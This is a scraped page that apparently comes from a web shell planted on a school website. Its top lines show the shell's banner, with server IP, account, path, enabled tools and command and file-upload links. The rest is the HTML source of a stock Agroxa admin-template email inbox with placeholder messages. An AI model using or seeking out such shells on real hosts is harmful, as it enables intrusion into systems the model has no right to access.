|
Server IP : 162.214.80.37 / Your IP : 216.73.216.68 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/dspublicschoolgzb/AdminPanel/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui">
<title>Agroxa - Responsive Bootstrap 4 Admin Dashboard</title>
<meta content="Admin Dashboard" name="description" />
<meta content="Themesbrand" name="author" />
<link rel="shortcut icon" href="assets/images/favicon.ico">
<link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="assets/css/metismenu.min.css" rel="stylesheet" type="text/css">
<link href="assets/css/icons.css" rel="stylesheet" type="text/css">
<link href="assets/css/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<!-- Begin page -->
<div id="wrapper">
<!-- Top Bar Start -->
<div class="topbar">
<!-- LOGO -->
<div class="topbar-left">
<a href="index.html" class="logo">
<span>
<img src="assets/images/logo.png" alt="" height="24">
</span>
<i>
<img src="assets/images/logo-sm.png" alt="" height="22">
</i>
</a>
</div>
<nav class="navbar-custom">
<ul class="navbar-right d-flex list-inline float-right mb-0">
<li class="dropdown notification-list d-none d-sm-block">
<form role="search" class="app-search">
<div class="form-group mb-0">
<input type="text" class="form-control" placeholder="Search..">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</li>
<li class="dropdown notification-list">
<a class="nav-link dropdown-toggle arrow-none waves-effect waves-light" data-toggle="dropdown" href="#" role="button" aria-haspopup="false" aria-expanded="false">
<i class="mdi mdi-bell noti-icon"></i>
<span class="badge badge-pill badge-info noti-icon-badge">3</span>
</a>
<div class="dropdown-menu dropdown-menu-right dropdown-menu-lg">
<!-- item-->
<h6 class="dropdown-item-text">
Notifications (37)
</h6>
<div class="slimscroll notification-item-list">
<!-- item-->
<a href="javascript:void(0);" class="dropdown-item notify-item active">
<div class="notify-icon bg-success"><i class="mdi mdi-cart-outline"></i></div>
<p class="notify-details">Your order is placed<span class="text-muted">Dummy text of the printing and typesetting industry.</span></p>
</a>
<!-- item-->
<a href="javascript:void(0);" class="dropdown-item notify-item">
<div class="notify-icon bg-warning"><i class="mdi mdi-message"></i></div>
<p class="notify-details">New Message received<span class="text-muted">You have 87 unread messages</span></p>
</a>
<!-- item-->
<a href="javascript:void(0);" class="dropdown-item notify-item">
<div class="notify-icon bg-info"><i class="mdi mdi-flag"></i></div>
<p class="notify-details">Your item is shipped<span class="text-muted">It is a long established fact that a reader will</span></p>
</a>
<!-- item-->
<a href="javascript:void(0);" class="dropdown-item notify-item">
<div class="notify-icon bg-primary"><i class="mdi mdi-cart-outline"></i></div>
<p class="notify-details">Your order is placed<span class="text-muted">Dummy text of the printing and typesetting industry.</span></p>
</a>
<!-- item-->
<a href="javascript:void(0);" class="dropdown-item notify-item">
<div class="notify-icon bg-danger"><i class="mdi mdi-message"></i></div>
<p class="notify-details">New Message received<span class="text-muted">You have 87 unread messages</span></p>
</a>
</div>
<!-- All-->
<a href="javascript:void(0);" class="dropdown-item text-center text-primary">
View all <i class="fi-arrow-right"></i>
</a>
</div>
</li>
<li class="dropdown notification-list">
<div class="dropdown notification-list nav-pro-img">
<a class="dropdown-toggle nav-link arrow-none waves-effect nav-user waves-light" data-toggle="dropdown" href="#" role="button" aria-haspopup="false" aria-expanded="false">
<img src="assets/images/users/user-4.jpg" alt="user" class="rounded-circle">
</a>
<div class="dropdown-menu dropdown-menu-right profile-dropdown ">
<!-- item-->
<a class="dropdown-item" href="#"><i class="mdi mdi-account-circle m-r-5"></i> Profile</a>
<a class="dropdown-item" href="#"><i class="mdi mdi-wallet m-r-5"></i> My Wallet</a>
<a class="dropdown-item d-block" href="#"><span class="badge badge-success float-right">11</span><i class="mdi mdi-settings m-r-5"></i> Settings</a>
<a class="dropdown-item" href="#"><i class="mdi mdi-lock-open-outline m-r-5"></i> Lock screen</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item text-danger" href="#"><i class="mdi mdi-power text-danger"></i> Logout</a>
</div>
</div>
</li>
</ul>
<ul class="list-inline menu-left mb-0">
<li class="float-left">
<button class="button-menu-mobile open-left waves-effect waves-light">
<i class="mdi mdi-menu"></i>
</button>
</li>
<li class="d-none d-sm-block">
<div class="dropdown pt-3 d-inline-block">
<a class="btn btn-header waves-effect waves-light dropdown-toggle" href="#" role="button" id="dropdownMenuLink" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
Create New
</a>
<div class="dropdown-menu" aria-labelledby="dropdownMenuLink">
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</li>
</ul>
</nav>
</div>
<!-- Top Bar End -->
<!-- ========== Left Sidebar Start ========== -->
<div class="left side-menu">
<div class="slimscroll-menu" id="remove-scroll">
<!--- Sidemenu -->
<div id="sidebar-menu">
<!-- Left Menu Start -->
<ul class="metismenu" id="side-menu">
<li class="menu-title">Main</li>
<li>
<a href="index.html" class="waves-effect">
<i class="mdi mdi-home"></i><span class="badge badge-primary float-right">3</span> <span> Dashboard </span>
</a>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-email"></i><span> Email <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span></a>
<ul class="submenu">
<li><a href="email-inbox.html">Inbox</a></li>
<li><a href="email-read.html">Email Read</a></li>
<li><a href="email-compose.html">Email Compose</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-buffer"></i> <span> UI Elements <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span> </a>
<ul class="submenu">
<li><a href="ui-alerts.html">Alerts</a></li>
<li><a href="ui-buttons.html">Buttons</a></li>
<li><a href="ui-badge.html">Badge</a></li>
<li><a href="ui-cards.html">Cards</a></li>
<li><a href="ui-carousel.html">Carousel</a></li>
<li><a href="ui-dropdowns.html">Dropdowns</a></li>
<li><a href="ui-grid.html">Grid</a></li>
<li><a href="ui-images.html">Images</a></li>
<li><a href="ui-modals.html">Modals</a></li>
<li><a href="ui-pagination.html">Pagination</a></li>
<li><a href="ui-popover-tooltips.html">Popover & Tooltips</a></li>
<li><a href="ui-progressbars.html">Progress Bars</a></li>
<li><a href="ui-tabs-accordions.html">Tabs & Accordions</a></li>
<li><a href="ui-typography.html">Typography</a></li>
<li><a href="ui-video.html">Video</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-black-mesa"></i> <span> Components <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span> </a>
<ul class="submenu">
<li><a href="components-lightbox.html">Lightbox</a></li>
<li><a href="components-rangeslider.html">Range Slider</a></li>
<li><a href="components-session-timeout.html">Session Timeout</a></li>
<li><a href="components-sweet-alert.html">Sweet-Alert</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-clipboard"></i><span> Forms <span class="badge badge-success float-right">6</span> </span></a>
<ul class="submenu">
<li><a href="form-elements.html">Form Elements</a></li>
<li><a href="form-validation.html">Form Validation</a></li>
<li><a href="form-advanced.html">Form Advanced</a></li>
<li><a href="form-editors.html">Form Editors</a></li>
<li><a href="form-uploads.html">Form File Upload</a></li>
<li><a href="form-xeditable.html">Form Xeditable</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-finance"></i><span> Charts <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span></a>
<ul class="submenu">
<li><a href="charts-chartist.html">Chartist Chart</a></li>
<li><a href="charts-chartjs.html">Chartjs Chart</a></li>
<li><a href="charts-flot.html">Flot Chart</a></li>
<li><a href="charts-c3.html">C3 Chart</a></li>
<li><a href="charts-morris.html">Morris Chart</a></li>
<li><a href="charts-other.html">Jquery Knob Chart</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-table-settings"></i><span> Tables <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span></a>
<ul class="submenu">
<li><a href="tables-basic.html">Basic Tables</a></li>
<li><a href="tables-datatable.html">Data Table</a></li>
<li><a href="tables-responsive.html">Responsive Table</a></li>
<li><a href="tables-editable.html">Editable Table</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-album"></i> <span> Icons <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span></span> </a>
<ul class="submenu">
<li><a href="icons-material.html">Material Design</a></li>
<li><a href="icons-ion.html">Ion Icons</a></li>
<li><a href="icons-fontawesome.html">Font Awesome</a></li>
<li><a href="icons-themify.html">Themify Icons</a></li>
<li><a href="icons-dripicons.html">Dripicons</a></li>
<li><a href="icons-typicons.html">Typicons Icons</a></li>
</ul>
</li>
<li>
<a href="calendar.html" class="waves-effect"><i class="mdi mdi-calendar-check"></i><span> Calendar </span></a>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-google-maps"></i><span> Maps <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span></span></a>
<ul class="submenu">
<li><a href="maps-google.html"> Google Map</a></li>
<li><a href="maps-vector.html"> Vector Map</a></li>
</ul>
</li>
<li class="menu-title">Extras</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-page-layout-sidebar-left"></i><span> Layouts <span class="badge badge-warning float-right">NEW</span> </span></a>
<ul class="submenu">
<li><a href="layouts-dark-sidebar.html">Dark Sidebar</a></li>
<li><a href="layouts-sidebar-user.html">Sidebar with User</a></li>
<li><a href="layouts-collapsed.html">Collpased Sidenav</a></li>
<li><a href="layouts-small.html">Small Sidebar</a></li>
<li><a href="layouts-title2.html">Page Title 2</a></li>
</ul>
</li>
<li>
<a href="javascript:void(0);" class="waves-effect"><i class="mdi mdi-google-pages"></i><span> Pages <span class="float-right menu-arrow"><i class="mdi mdi-plus"></i></span> </span></a>
<ul class="submenu">
<li><a href="pages-login.html">Login</a></li>
<li><a href="pages-register.html">Register</a></li>
<li><a href="pages-recoverpw.html">Recover Password</a></li>
<li><a href="pages-lock-screen.html">Lock Screen</a></li>
<li><a href="pages-timeline.html">Timeline</a></li>
<li><a href="pages-invoice.html">Invoice</a></li>
<li><a href="pages-directory.html">Directory</a></li>
<li><a href="pages-blank.html">Blank Page</a></li>
<li><a href="pages-404.html">Error 404</a></li>
<li><a href="pages-500.html">Error 500</a></li>
</ul>
</li>
</ul>
</div>
<!-- Sidebar -->
<div class="clearfix"></div>
</div>
<!-- Sidebar -left -->
</div>
<!-- Left Sidebar End -->
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="content-page">
<!-- Start content -->
<div class="content">
<div class="container-fluid">
<div class="row">
<div class="col-sm-12">
<div class="page-title-box">
<h4 class="page-title">Inbox</h4>
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="javascript:void(0);">Agroxa</a></li>
<li class="breadcrumb-item"><a href="javascript:void(0);">Email</a></li>
<li class="breadcrumb-item active">Inbox</li>
</ol>
<div class="state-information d-none d-sm-block">
<div class="state-graph">
<div id="header-chart-1"></div>
<div class="info">Balance $ 2,317</div>
</div>
<div class="state-graph">
<div id="header-chart-2"></div>
<div class="info">Item Sold 1230</div>
</div>
</div>
</div>
</div>
</div>
<!-- end row -->
<div class="page-content-wrapper">
<!-- end row -->
<div class="row">
<div class="col-12">
<!-- Left sidebar -->
<div class="email-leftbar card">
<a href="email-compose.html" class="btn btn-info btn-rounded btn-block waves-effect waves-light">Compose</a>
<div class="mail-list m-t-20">
<a href="#" class="active">Inbox <span class="ml-1">(18)</span></a>
<a href="#">Starred</a>
<a href="#">Important</a>
<a href="#">Draft</a>
<a href="#">Sent Mail</a>
<a href="#">Trash</a>
</div>
<h6 class="m-t-30">Labels</h6>
<div class="mail-list m-t-20">
<a href="#"><span class="mdi mdi-arrow-right-drop-circle text-info float-right"></span>Theme Support</a>
<a href="#"><span class="mdi mdi-arrow-right-drop-circle text-warning float-right"></span>Freelance</a>
<a href="#"><span class="mdi mdi-arrow-right-drop-circle text-primary float-right"></span>Social</a>
<a href="#"><span class="mdi mdi-arrow-right-drop-circle text-danger float-right"></span>Friends</a>
<a href="#"><span class="mdi mdi-arrow-right-drop-circle text-success float-right"></span>Family</a>
</div>
<h6 class="m-t-30">Chat</h6>
<div class="m-t-20">
<a href="#" class="media">
<img class="d-flex mr-3 rounded-circle" src="assets/images/users/user-2.jpg" alt="Generic placeholder image" height="36">
<div class="media-body chat-user-box">
<p class="user-title m-0">Scott Median</p>
<p class="text-muted">Hello</p>
</div>
</a>
<a href="#" class="media">
<img class="d-flex mr-3 rounded-circle" src="assets/images/users/user-3.jpg" alt="Generic placeholder image" height="36">
<div class="media-body chat-user-box">
<p class="user-title m-0">Julian Rosa</p>
<p class="text-muted">What about our next..</p>
</div>
</a>
<a href="#" class="media">
<img class="d-flex mr-3 rounded-circle" src="assets/images/users/user-4.jpg" alt="Generic placeholder image" height="36">
<div class="media-body chat-user-box">
<p class="user-title m-0">David Medina</p>
<p class="text-muted">Yeah everything is fine</p>
</div>
</a>
<a href="#" class="media">
<img class="d-flex mr-3 rounded-circle" src="assets/images/users/user-6.jpg" alt="Generic placeholder image" height="36">
<div class="media-body chat-user-box">
<p class="user-title m-0">Jay Baker</p>
<p class="text-muted">Wow that's great</p>
</div>
</a>
</div>
</div>
<!-- End Left sidebar -->
<!-- Right Sidebar -->
<div class="email-rightbar mb-3">
<div class="card">
<div class="btn-toolbar p-3" role="toolbar">
<div class="btn-group mo-mb-2">
<button type="button" class="btn btn-primary waves-light waves-effect"><i class="fa fa-inbox"></i></button>
<button type="button" class="btn btn-primary waves-light waves-effect"><i class="fa fa-exclamation-circle"></i></button>
<button type="button" class="btn btn-primary waves-light waves-effect"><i class="far fa-trash-alt"></i></button>
</div>
<div class="btn-group ml-1 mo-mb-2">
<button type="button" class="btn btn-primary waves-light waves-effect dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
<i class="fa fa-folder"></i>
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="#">Updates</a>
<a class="dropdown-item" href="#">Social</a>
<a class="dropdown-item" href="#">Team Manage</a>
</div>
</div>
<div class="btn-group ml-1 mo-mb-2">
<button type="button" class="btn btn-primary waves-light waves-effect dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
<i class="fa fa-tag"></i>
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="#">Updates</a>
<a class="dropdown-item" href="#">Social</a>
<a class="dropdown-item" href="#">Team Manage</a>
</div>
</div>
<div class="btn-group ml-1 mo-mb-2">
<button type="button" class="btn btn-primary waves-light waves-effect dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
More
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="#">Mark as Unread</a>
<a class="dropdown-item" href="#">Mark as Important</a>
<a class="dropdown-item" href="#">Add to Tasks</a>
<a class="dropdown-item" href="#">Add Star</a>
<a class="dropdown-item" href="#">Mute</a>
</div>
</div>
</div>
<ul class="message-list">
<li class="unread">
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk19">
<label for="chk19" class="toggle"></label>
</div>
<a href="#" class="title">Peter, me (3)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Hello – <span class="teaser">Trip home from Colombo has been arranged, then Jenna will come get me from Stockholm. :)</span>
</a>
<div class="date">Mar 6</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk20">
<label for="chk20" class="toggle"></label>
</div>
<a href="#" class="title">me, Susanna (7)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-warning badge mr-2">Freelance</span>Since you asked... and i'm
inconceivably bored at the train station –
<span class="teaser">Alright thanks. I'll have to re-book that somehow, i'll get back to you.</span>
</a>
<div class="date">Mar 6</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk6">
<label for="chk6" class="toggle"></label>
</div>
<a href="#" class="title">Web Support Dennis</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Re: New mail settings –
<span class="teaser">Will you answer him asap?</span>
</a>
<div class="date">Mar 7</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk7">
<label for="chk7" class="toggle"></label>
</div>
<a href="#" class="title">me, Peter (2)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-info badge mr-2">Support</span>Off on Thursday –
<span class="teaser">Eff that place, you might as well stay here with us instead! Sent from my iPhone 4 > 4 mar 2014 at 5:55 pm</span>
</a>
<div class="date">Mar 4</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk8">
<label for="chk8" class="toggle"></label>
</div>
<a href="#" class="title">Medium</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-primary badge mr-2">Social</span>This Week's Top Stories –
<span class="teaser">Our top pick for you on Medium this week The Man Who Destroyed America’s Ego</span>
</a>
<div class="date">Feb 28</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk9">
<label for="chk9" class="toggle"></label>
</div>
<a href="#" class="title">Death to Stock</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Montly High-Res Photos –
<span class="teaser">To create this month's pack, we hosted a party with local musician Jared Mahone here in Columbus, Ohio.</span>
</a>
<div class="date">Feb 28</div>
</div>
</li>
<li class="unread">
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk3">
<label for="chk3" class="toggle"></label>
</div>
<a href="#" class="title">Randy, me (5)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-success badge mr-2">Family</span>Last pic over my village –
<span class="teaser">Yeah i'd like that! Do you remember the video you showed me of your train ride between Colombo and Kandy? The one with the mountain view? I would love to see that one again!</span>
</a>
<div class="date">5:01 am</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk4">
<label for="chk4" class="toggle"></label>
</div>
<a href="#" class="title">Andrew Zimmer</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Mochila Beta: Subscription Confirmed
– <span class="teaser">You've been confirmed! Welcome to the ruling class of the inbox. For your records, here is a copy of the information you submitted to us...</span>
</a>
<div class="date">Mar 8</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk5">
<label for="chk5" class="toggle"></label>
</div>
<a href="#" class="title">Infinity HR</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Sveriges Hetaste sommarjobb –
<span class="teaser">Hej Nicklas Sandell! Vi vill bjuda in dig till "First tour 2014", ett rekryteringsevent som erbjuder jobb på 16 semesterorter iSverige.</span>
</a>
<div class="date">Mar 8</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk10">
<label for="chk10" class="toggle"></label>
</div>
<a href="#" class="title">Revibe</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-danger badge mr-2">Friends</span>Weekend on Revibe –
<span class="teaser">Today's Friday and we thought maybe you want some music inspiration for the weekend. Here are some trending tracks and playlists we think you should give a listen!</span>
</a>
<div class="date">Feb 27</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk11">
<label for="chk11" class="toggle"></label>
</div>
<a href="#" class="title">Erik, me (5)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Regarding our meeting –
<span class="teaser">That's great, see you on Thursday!</span>
</a>
<div class="date">Feb 24</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk12">
<label for="chk12" class="toggle"></label>
</div>
<a href="#" class="title">KanbanFlow</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-primary badge mr-2">Social</span>Task assigned: Clone ARP's website
– <span class="teaser">You have been assigned a task by Alex@Work on the board Web.</span>
</a>
<div class="date">Feb 24</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk13">
<label for="chk13" class="toggle"></label>
</div>
<a href="#" class="title">Tobias Berggren</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Let's go fishing! –
<span class="teaser">Hey, You wanna join me and Fred at the lake tomorrow? It'll be awesome.</span>
</a>
<div class="date">Feb 23</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk14">
<label for="chk14" class="toggle"></label>
</div>
<a href="#" class="title">Charukaw, me (7)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Hey man – <span class="teaser">Nah man sorry i don't. Should i get it?</span>
</a>
<div class="date">Feb 23</div>
</div>
</li>
<li class="unread">
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk15">
<label for="chk15" class="toggle"></label>
</div>
<a href="#" class="title">me, Peter (5)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject"><span class="badge-info badge mr-2">Support</span>Home again! – <span class="teaser">That's just perfect! See you tomorrow.</span>
</a>
<div class="date">Feb 21</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk16">
<label for="chk16" class="toggle"></label>
</div>
<a href="#" class="title">Stack Exchange</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">1 new items in your Stackexchange inbox
– <span class="teaser">The following items were added to your Stack Exchange global inbox since you last checked it.</span>
</a>
<div class="date">Feb 21</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk17">
<label for="chk17" class="toggle"></label>
</div>
<a href="#" class="title">Google Drive Team</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">You can now use your storage in Google
Drive – <span class="teaser">Hey Nicklas Sandell! Thank you for purchasing extra storage space in Google Drive.</span>
</a>
<div class="date">Feb 20</div>
</div>
</li>
<li>
<div class="col-mail col-mail-1">
<div class="checkbox-wrapper-mail">
<input type="checkbox" id="chk18">
<label for="chk18" class="toggle"></label>
</div>
<a href="#" class="title">me, Susanna (11)</a><span class="star-toggle far fa-star"></span>
</div>
<div class="col-mail col-mail-2">
<a href="#" class="subject">Train/Bus – <span class="teaser">Yes ok, great! I'm not stuck in Stockholm anymore, we're making progress.</span>
</a>
<div class="date">Feb 19</div>
</div>
</li>
</ul>
</div> <!-- card -->
<div class="row m-t-20">
<div class="col-7">
Showing 1 - 20 of 1,524
</div>
<div class="col-5">
<div class="btn-group float-right">
<button type="button" class="btn btn-sm btn-success waves-effect"><i class="fa fa-chevron-left"></i></button>
<button type="button" class="btn btn-sm btn-success waves-effect"><i class="fa fa-chevron-right"></i></button>
</div>
</div>
</div>
</div> <!-- end Col-9 -->
</div>
</div><!-- End row -->
</div>
<!-- end page content-->
</div> <!-- container-fluid -->
</div> <!-- content -->
<footer class="footer">
© 2018 Agroxa <span class="d-none d-sm-inline-block">- Crafted with <i class="mdi mdi-heart text-danger"></i> by Themesbrand.</span>
</footer>
</div>
<!-- ============================================================== -->
<!-- End Right content here -->
<!-- ============================================================== -->
</div>
<!-- END wrapper -->
<!-- jQuery -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/metisMenu.min.js"></script>
<script src="assets/js/jquery.slimscroll.js"></script>
<script src="assets/js/waves.min.js"></script>
<script src="../plugins/jquery-sparkline/jquery.sparkline.min.js"></script>
<!-- App js -->
<script src="assets/js/app.js"></script>
</body>
</html>